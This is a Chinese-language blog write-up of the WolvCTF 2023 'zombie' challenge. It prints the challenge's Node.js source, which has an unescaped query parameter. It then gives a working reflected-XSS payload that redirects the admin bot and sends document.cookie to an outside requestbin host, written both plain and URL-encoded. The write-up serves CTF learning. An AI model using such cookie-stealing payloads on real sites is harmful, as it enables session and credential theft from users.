首页 > 其他分享 >wolvctf 2023 zombie xss

wolvctf 2023 zombie xss

时间:2023-03-21 20:56:17浏览次数:43  
标签:xss const show url res req zombie wolvctf return

当时做的时候没想到这道题考的是XSS,归结原因在于对nodejs的代码不熟悉。先上源码:

bot.js源码就不放了,主要功能概括一下就是点击用户提交的链接,把flag放到cookie里传过去,很容易联想到靶机出网,用buurequestbin接收。

index.js:

const fs = require('fs')
const escape = require('escape-html')
const exec = require('child_process')

const express = require("express")
const app = express()
app.use(express.static('public'))

const config = JSON.parse(fs.readFileSync('config.json'))
process.env.FLAG = config.flag

const validateRequest = (req) => {
    const url = req.query.url
    if (!url) {
        return 'Hmmm, not seeing a URL. Please try again.'
    }

    let parsedURL
    try {
        parsedURL = new URL(url)
    }
    catch (e) {
        return 'Something is wrong with your url: ' + escape(e.message)
    }

    if (parsedURL.protocol !== 'http:' && parsedURL.protocol !== 'https:') {
        return 'Our admin is picky. Please provide a url with the http or https protocol.'
    }

    if (parsedURL.hostname !== req.hostname) {
        return `Please provide a url with a hostname of: ${escape(req.hostname)}  Hmmm, I guess that will restrict the submissions. TODO: Remove this restriction before the admin notices and we all get fired.`
    }

    return null
}

app.get('/visit', function(req, res) {
    const validateError = validateRequest(req)
    if (validateError) {
        res.send(validateError)
        return
    }

    const file = 'node'
    const args = ['bot.js', config.httpOnly, req.hostname, req.query.url]
    const options = { timeout: 10000 }
    const callback = function(error, stdout, stderr) {
         console.log(error, stdout, stderr);
         res.send('admin bot has visited your url')
     }

    exec.execFile(file, args, options, callback)
});

// useful for debugging cloud deployments
app.get('/debug', function(req, res) {
    if (config.allowDebug) {
        res.send({"remote-ip": req.socket.remoteAddress, ...req.headers})
    }
    else {
        res.send('sorry, debug endpoint is not enabled')
    }
})

app.get('/zombie', function(req, res) {
    const show = req.query.show
    if (!show) {
        res.send('Hmmmm, you did not mention a show')
        return
    }

    const rating = Math.floor(Math.random() * 3)
    let blurb
    switch (rating) {
        case 2:
            blurb = `Wow, we really liked ${show} too!`
            break;
        case 1:
            blurb = `Yeah, ${show} was ok... I guess.`
            break;
        case 0:
            blurb = `Sorry, ${show} was horrible.`
            break;
    }
    res.send(blurb)
})

const port = 80
app.listen(port,() => {
    console.log(`Running on ${port}`);
});

源码中定义了/zombie这样一个路由,有一个get传参的参数show,然后没有经过任何过滤直接把变量show输出了,这里很明显是个xss,也学到了nodejs中${show}是输出一个变量的意思。

show写成<script>alert(1)</script>测试一下,页面弹窗了。

show写成<script>window.location='http://http.requestbin.buuoj.cn/1h89wzy1'</script>,buurequestbin上接受到了请求。

然后看往bot提交处的代码,限制了hostname必须是靶机的hostname,还好有上面提到的/zombie路由,表格里url写:https://zombie-101-tlejfksioa-ul.a.run.app/zombie?show=%3Cscript%3Ewindow.location%3D%27http%3A%2F%2Fhttp.requestbin.buuoj.cn%2F1jy82h41%2F%3Fcookie%3D%27%2Bbtoa(JSON.stringify(document.cookie))%3B%3C%2Fscript%3E

后面的<script>window.location='http://http.requestbin.buuoj.cn/1jy82h41/?cookie='+btoa(JSON.stringify(document.cookie));</script>要经过url编码,否则接收不到,不知道为什么。

标签:xss,const,show,url,res,req,zombie,wolvctf,return
From: https://www.cnblogs.com/hackerone/p/17241382.html

相关文章

  • DVWA-XSS(Stored)
    存储型XSS(Cross-SiteScripting)攻击是一种常见的Web应用程序安全漏洞,攻击者在一个网站上注入恶意代码,并将该代码存储在服务器端的数据库中,当其他用户访问该网站的页面时......
  • XSS
    XSS漏洞描述​ XSS攻击全称跨站脚本攻击,是为不和层叠样式表(CascadingStyleSheets,CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS,XSS是一种在web应用中的计算机安全......
  • DVWA-XSS(DOM)
    漏洞详解。DOMXSS(Cross-sitescripting)是一种Web安全漏洞,它利用了浏览器的DOM(文档对象模型)解析机制,通过注入恶意代码来攻击用户。DOMXSS与传统的反射型或存储型XSS有所......
  • springboot防止XSS攻击和sql注入
     文章目录1.XSS跨站脚本攻击①:XSS漏洞介绍②:XSS漏洞分类③:防护建议2.SQL注入攻击①:SQL注入漏洞介绍②:防护建议3.SpringBoot中如何防止XSS攻击和......
  • b01lers CTF & WolvCTF 2023 部分Re WriteUp
    这周打了两个比赛,个人感觉b01lersCTF偏简单一些,WolvCTF比前者难一点。养生型选手,一共做了三个题b01lersCTFSafe一个嵌入式逆向的题目,是逆向ArduinoUNO一个门锁......
  • Spring Boot 如果防护 XSS + SQL 注入攻击 ?一文带你搞定!
    1.XSS跨站脚本攻击①:XSS漏洞介绍跨站脚本攻击XSS是指攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被解析执行,从而达到恶意攻......
  • XSS和CSRF漏洞
    XSS和CSRF漏洞目录XSS和CSRF漏洞XSS漏洞介绍XSS分类利用XSS漏洞如何实行攻击利用XSS盗取用户的Cookie利用XSS实行钓鱼利用XSS进行键盘监控CSRF漏洞介绍CSRF漏洞攻击条件CS......
  • XSS和CSRF漏洞
    XSS和CSRF漏洞XSS漏洞介绍XSS(Cross-Site-Scripting),即跨站脚本攻击,是指攻击者利用Web服务器中的代码漏洞,在页面中嵌入客户端脚本(通常是一段由JavaScript编写的恶意代码),当......
  • pikachu -Xss
    跨站脚本漏洞常见类型危害:存储型>反射型>DOM型1.反射型交互的数据一般不会被存在在数据库里面,一次性,所见即所得,一般出现在查询类页面等。2.存储型交互的数据会被......
  • Web漏洞-XSS跨站之代码及httponly绕过
    进入后台获得后台权限:cookie权限进入后台;直接账号密码登录Str-replace   关键字过滤什么是httponly如果在cookie中设置了httponly属性,那么通过js脚本将无法读取到co......